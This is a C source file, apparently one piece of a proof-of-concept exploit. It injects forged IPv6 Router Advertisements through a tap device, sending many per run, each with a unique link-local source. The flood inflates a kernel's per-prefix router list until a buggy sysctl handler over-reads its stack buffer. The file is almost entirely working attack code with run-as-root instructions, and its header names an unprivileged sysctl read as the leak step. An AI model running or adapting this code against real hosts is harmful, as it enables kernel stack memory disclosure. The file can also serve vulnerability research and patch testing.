DF-0354 / ra_inject_tap.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | /* * ra_inject_tap.c - inject N forged Router Advertisements by writing * raw Ethernet frames to /dev/tap0 (kernel calls * ifp->if_input directly, so the kernel's IPv6 stack * sees the frames as inbound on tap0). * * Each RA has a UNIQUE source link-local IPv6 (fe80::N) so the kernel * creates a new nd_defrouter entry; all RAs advertise the SAME prefix * (2001:db8:1::/64), so each router gets attached to that prefix's * pr->ndpr_advrtrs list. Once that list grows past ~33 routers, the * buggy nd6_sysctl_prlist SYSCTL_OUT over-reads its 1024-byte stack * buffer. * * Run as root: * ifconfig tap0 create; ifconfig tap0 up; ndp -i tap0 accept_rtadv * ./ra_inject_tap /dev/tap0 <n_routers> * * This simulates the realistic "remote attacker floods RAs from many * sources" precondition; the exploit step (the stack leak itself) is * the *unprivileged* sysctl read in ra_read.c. */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/if.h> #include <net/ethernet.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> struct nd_opt_prefix_info_local { uint8_t type; uint8_t len; uint8_t prefix_len; uint8_t flags_rsvd; uint32_t valid_time; uint32_t preferred_time; uint32_t reserved2; struct in6_addr prefix; }; static uint16_t cksum(const struct in6_addr *src, const struct in6_addr *dst, const void *data, size_t len) { uint32_t sum = 0; const uint16_t *p = (const uint16_t *)data; size_t i; for (i = 0; i + 1 < len; i += 2) sum += ntohs(*p++); if (i < len) sum += ((uint16_t)(((const uint8_t *)data)[i])) << 8; for (i = 0; i < 8; i++) { sum += ntohs(src->__u6_addr.__u6_addr16[i]); sum += ntohs(dst->__u6_addr.__u6_addr16[i]); } sum += len; sum += IPPROTO_ICMPV6; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return htons(~sum & 0xffff); } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/dev/tap0"; int n = (argc > 2) ? atoi(argv[2]) : 60; int fd = open(path, O_RDWR); if (fd < 0) { perror("open tap"); return 2; } unsigned char pkt[256]; size_t off = 0; /* Ethernet: src MAC varies per router (use a base + i) */ struct ether_header *eh = (struct ether_header *)pkt; /* dst = 33:33:00:00:00:01 (all-nodes v6 multicast) */ memset(eh->ether_dhost, 0, ETHER_ADDR_LEN); eh->ether_dhost[0] = 0x33; eh->ether_dhost[1] = 0x33; eh->ether_dhost[5] = 0x01; eh->ether_type = htons(ETHERTYPE_IPV6); off += sizeof(*eh); /* IPv6 */ struct ip6_hdr *ip6 = (struct ip6_hdr *)(pkt + off); ip6->ip6_flow = 0; /* 4-byte union with vfc — set FIRST */ ip6->ip6_vfc = 0x60; /* then version=6, traffic class=0 */ ip6->ip6_plen = htons(sizeof(struct nd_router_advert) + sizeof(struct nd_opt_prefix_info_local)); ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 255; inet_pton(AF_INET6, "ff02::1", &ip6->ip6_dst); off += sizeof(*ip6); /* ICMPv6 RA */ struct nd_router_advert *ra = (struct nd_router_advert *)(pkt + off); ra->nd_ra_type = ND_ROUTER_ADVERT; ra->nd_ra_code = 0; ra->nd_ra_cksum = 0; ra->nd_ra_curhoplimit = 64; ra->nd_ra_flags_reserved = 0; ra->nd_ra_router_lifetime = htons(1800); ra->nd_ra_reachable = htonl(0); ra->nd_ra_retransmit = htonl(0); off += sizeof(*ra); /* Prefix info (one common prefix) */ struct nd_opt_prefix_info_local *pi = (struct nd_opt_prefix_info_local *)(pkt + off); pi->type = ND_OPT_PREFIX_INFORMATION; pi->len = 4; pi->prefix_len = 64; pi->flags_rsvd = 0xc0; /* L=1, A=1 */ pi->valid_time = htonl(1800); pi->preferred_time = htonl(1800); pi->reserved2 = 0; inet_pton(AF_INET6, "2001:db8:1::", &pi->prefix); off += sizeof(*pi); size_t pktlen = off; fprintf(stderr, "pktlen=%zu\n", pktlen); int ok = 0; char srcstr[64]; for (int i = 1; i <= n; i++) { /* Unique link-local source per router */ snprintf(srcstr, sizeof(srcstr), "fe80::%x:%x", i + 0xa, i); if (inet_pton(AF_INET6, srcstr, &ip6->ip6_src) != 1) { fprintf(stderr, "bad src %s\n", srcstr); continue; } /* Vary source MAC too (some kernels dedup by L2 source) */ memset(eh->ether_shost, 0, ETHER_ADDR_LEN); eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0xaa; eh->ether_shost[2] = 0xbb; eh->ether_shost[3] = (i >> 8) & 0xff; eh->ether_shost[4] = i & 0xff; eh->ether_shost[5] = 0xcc; ra->nd_ra_cksum = 0; ra->nd_ra_cksum = cksum(&ip6->ip6_src, &ip6->ip6_dst, ra, sizeof(*ra) + sizeof(*pi)); ssize_t w = write(fd, pkt, pktlen); if (w < 0) { if (errno == ENOBUFS || errno == EINTR) { usleep(2000); continue; } fprintf(stderr, "write fail i=%d: %s\n", i, strerror(errno)); continue; } if ((size_t)w != pktlen) fprintf(stderr, "short w i=%d\n", i); ok++; /* tiny pause to let netisr drain */ if ((i % 16) == 0) usleep(20000); } fprintf(stderr, "injected %d/%d RAs via %s\n", ok, n, path); usleep(150000); close(fd); return 0; } |